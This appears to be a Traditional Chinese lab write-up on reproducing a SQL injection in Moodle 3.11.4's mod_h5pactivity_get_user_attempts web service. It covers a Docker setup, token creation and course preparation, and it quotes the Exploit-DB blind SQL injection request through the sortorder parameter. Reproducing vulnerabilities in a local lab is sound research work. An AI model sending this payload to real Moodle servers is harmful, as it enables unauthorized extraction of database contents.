起因是,HITCON Girls 的成員來詢問我關於這個 CVE 的 Exploit 方法,她說實作了一天都卡在一些參數問題上,所以我就架起來玩了一下。
Moodle / 母斗 是一個很大的 LMS,目前台科大也正在使用,我目前也在被摧殘的第六年,ㄏㄏ。
Public Information
- Exploit-DB
- GitHub
Build Environment
要復現這個漏洞,比想像中麻煩很多,這邊我使用了 Docker-compose 來快速建置環境,基本上內容來自 bitnami-docker-moodle , 我唯一做了修改的部分是把第 15 行指定了 Moodle 的版本
docker-compose 內容
version: '2'
services:
mariadb:
image: docker.io/bitnami/mariadb:10.3
environment:
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
- MARIADB_USER=bn_moodle
- MARIADB_DATABASE=bitnami_moodle
- MARIADB_CHARACTER_SET=utf8mb4
- MARIADB_COLLATE=utf8mb4_unicode_ci
volumes:
- 'mariadb_data:/bitnami/mariadb'
moodle:
image: docker.io/bitnami/moodle:3.11.4
ports:
- '80:8080'
- '443:8443'
environment:
- MOODLE_DATABASE_HOST=mariadb
- MOODLE_DATABASE_PORT_NUMBER=3306
- MOODLE_DATABASE_USER=bn_moodle
- MOODLE_DATABASE_NAME=bitnami_moodle
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
volumes:
- 'moodle_data:/bitnami/moodle'
- 'moodledata_data:/bitnami/moodledata'
depends_on:
- mariadb
volumes:
mariadb_data:
driver: local
moodle_data:
driver: local
moodledata_data:
driver: local
執行 Docker
基本上執行下面的指令,就可以把完整的環境跑起來了
sudo docker-compose up
值得注意的是,初次執行,當 log 出現下面這一行時,需要等待差不多 3~5 分鐘的時間來安裝母斗
moodle_1 | moodle 13:40:41.75 INFO ==> Running Moodle install script
等到 Log 出現下面的內容, Server 就開好了
moodle_1 | [Fri Apr 01 13:43:52.245201 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1 | [Fri Apr 01 13:43:52.245789 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1 | [Fri Apr 01 13:43:52.287189 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1 | [Fri Apr 01 13:43:52.287724 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1 | [Fri Apr 01 13:43:52.354260 2022] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.52 (Unix) OpenSSL/1.1.1d PHP/7.4.27 configured -- resuming normal operations
moodle_1 | [Fri Apr 01 13:43:52.354324 2022] [core:notice] [pid 1] AH00094: Command line: '/opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND'
初始設定
預設透過 bitnami 的 Docker 來建的母斗,預設帳號是 user
、 預設密碼是 bitnami
,port 預設的話會是 80。
在 http://127.0.0.1/login/index.php 輸入帳密即可登入 admin 帳號
分析 Exploit 需要的條件
快速看一下 Exploit-DB 的 Payload
GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1
我們可以看到幾個重點
- 使用到了 Moodle 的 webservice
- wstoken = 某個 Token
- wsfunction = mod_h5pactivity_get_user_attempts 就是本次有漏洞的 function
- sortorder 看起來很明顯就是 SQL Injection 的 Payload
Webservice
External Service
在 Moodle 中,web services token (wstoken) 是基於 services 的,而預設的 service 只有 moodle mobile web service。
我們可以在 Dashboard -> Site administration -> Server -> Web services -> External services 中點選 Custom Services 並 add,取任意的名字並選擇 Enabled
接下來選擇 Add functions
並選擇˙ mod_h5pactivity_get_user_attempts
按下 Add functions

Enable web services
接下來直接在
Dashboard -> Site administration -> Advanced features 中
把 Enable web services
給打勾,這個選項預設 Moodle 也是沒有開啟的
Enable protocols
在 Dashboard -> Site administration -> Server -> Web services -> Manage protocols 中,把 REST protocol 給 Enable (讓它眼睛打開)

Manage Tokens
下一步是需要自己申請一個 webtoken
在 Dashboard -> Site administration -> Server -> Web services -> Manage tokens 選擇藍色的 Create token,並設定我們的使用者,以及剛剛創建的 Service
接下來我們就可以取得 Token 了,在這邊我們拿到的是
673e5cea243f86f1a953d83f230666f3

這個號碼每個人都不會一樣,也不可以套用到其他 Server 上,所以請自行產生,
好麻煩 QQ 等不及的試試看
如果以為這樣就完成了,開心的把 PoC 貼上去的話
http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1
會得到這樣的結果 QQ

因為 SQL 資料庫裏面沒有相對應的資料
關於檢查資料庫的方法,我們可以直接進去 Docker 下指令
先透過 docker ps
取得 container 的 ID 並透過 docker exec -it {ID} bash
進入

接下來用 mysql -ubn_moodle -p
預設空密碼進入 SQL Shell
切換資料庫 use bitnami_moodle;
之後我們都會用以下的 SQL 指令來檢查資料庫內容
select id from mdl_h5pactivity order by id desc ;
目前狀況下我們預設都是空的
Create Database Rows
我們需要創建一堂新的課程,並在課程裡面塞 H5P 的東西
Dashboard -> Site administration -> Courses -> Manage courses and categories -> Add a new course
然後隨便創個 Moodle 的課程
再來把我們自己的使用者加入這堂課程 Enroll users